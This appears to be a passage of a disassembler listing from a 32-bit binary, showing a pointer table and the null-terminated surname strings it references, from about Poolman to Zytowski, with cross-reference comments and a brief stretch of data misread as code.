		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		xor	ah, ch
		inc	edx
		add	[esp+ebp*8], ah
		inc	edx
		add	[esp+ebp*8], bl
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC21
; ---------------------------------------------------------------------------
		align 10h
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBE4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBE0o
		align 4
aZurn		db 'Zurn',0
		align 4
aZucconi	db 'Zucconi',0
aZoldak		db 'Zoldak',0
		align 4
aZerbini	db 'Zerbini',0
		dd 6167655Ah
		db 6Eh
; ---------------------------------------------------------------------------


loc_42EC21:				; CODE XREF: ___:0042EBDDj
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC93h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBC0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBBCo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBB8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBB4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBB0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EBACo
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EBA8o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EBA4o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EBA0o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB98o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB94o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB90o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB8Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB88o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB84o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB80o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB7Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB78o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB74o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB70o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB6Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB68o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB64o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB60o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB5Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB58o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB54o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB50o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB48o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB44o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB40o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB3Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB38o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB34o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB30o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB2Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB28o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB24o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB20o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB1Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB18o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB14o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB10o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EB0Co
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EB08o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EB04o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EB00o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAFCo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAF8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAF4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAF0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EAECo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAE8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAE4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EADCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAD8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAD4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAD0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EACCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAC8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAC4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAC0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EABCo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAB8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAB4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAB0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EAACo
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EAA8o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EAA4o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EAA0o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA9Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA98o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA94o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA90o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA8Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA88o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA84o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA80o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA7Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA78o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA74o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA70o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA6Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA68o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA64o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA60o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA5Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA58o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA54o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA50o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA4Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA48o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA44o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA40o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA3Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA38o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA34o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA30o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA2Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA28o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA24o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA20o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA1Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA18o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA14o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA10o
aTill		db 'Till',0             ; DATA XREF: ___:0042EA0Co
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042EA08o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042EA04o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042EA00o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9FCo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9F8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9F4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9F0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9ECo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9E8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9E4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9E0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9DCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9D8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9D4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9D0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9CCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9C8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9C4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9C0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9BCo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9B8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9B4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9B0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E9ACo
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E9A8o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E9A4o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E9A0o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E99Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E998o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E994o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E990o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E98Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E988o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E984o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E980o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E97Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E978o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E974o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E970o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E96Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E968o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E964o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E960o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E95Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E958o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E954o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E950o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E94Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E948o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E944o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E940o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E93Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E938o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E934o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E930o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E92Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E928o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E924o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E920o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E91Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E918o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E914o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E910o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E90Co
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E908o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E904o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E900o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8FCo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8F8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8F4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8F0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8ECo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8E8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8E4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8E0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8D8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8D4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8D0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8CCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8C8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8B8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8B4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8B0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E8ACo
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E8A8o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E8A4o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E8A0o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E89Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E898o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E894o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E890o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E88Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E888o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E884o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E880o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E87Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E878o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E874o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E870o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E86Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E868o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E864o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E860o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E85Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E858o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E854o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E850o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E84Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E848o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E844o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E840o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E83Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E838o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E834o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E830o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E82Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E828o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E824o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E820o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E81Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E818o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E814o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E810o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E80Co
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E808o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E804o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E800o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7FCo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7F8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7F4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7F0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7ECo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7E8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7E4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7E0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7DCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7D8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7D4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7CCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7C8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7C4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7C0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7BCo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7B8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7B4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E7ACo
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E7A8o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E7A4o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E7A0o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E79Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E798o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E794o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E790o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E78Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E788o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E784o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E780o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E77Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E778o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E774o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E770o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E76Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E768o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E764o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E760o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E75Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E758o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E754o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E750o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E74Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E748o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E744o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E740o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E73Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E738o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E734o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E730o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E72Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E728o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E724o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E720o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E71Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E718o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E714o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E710o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E70Co
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E708o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E704o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E700o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6FCo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6F8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6F4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6F0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6ECo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6E8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6E4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6E0o
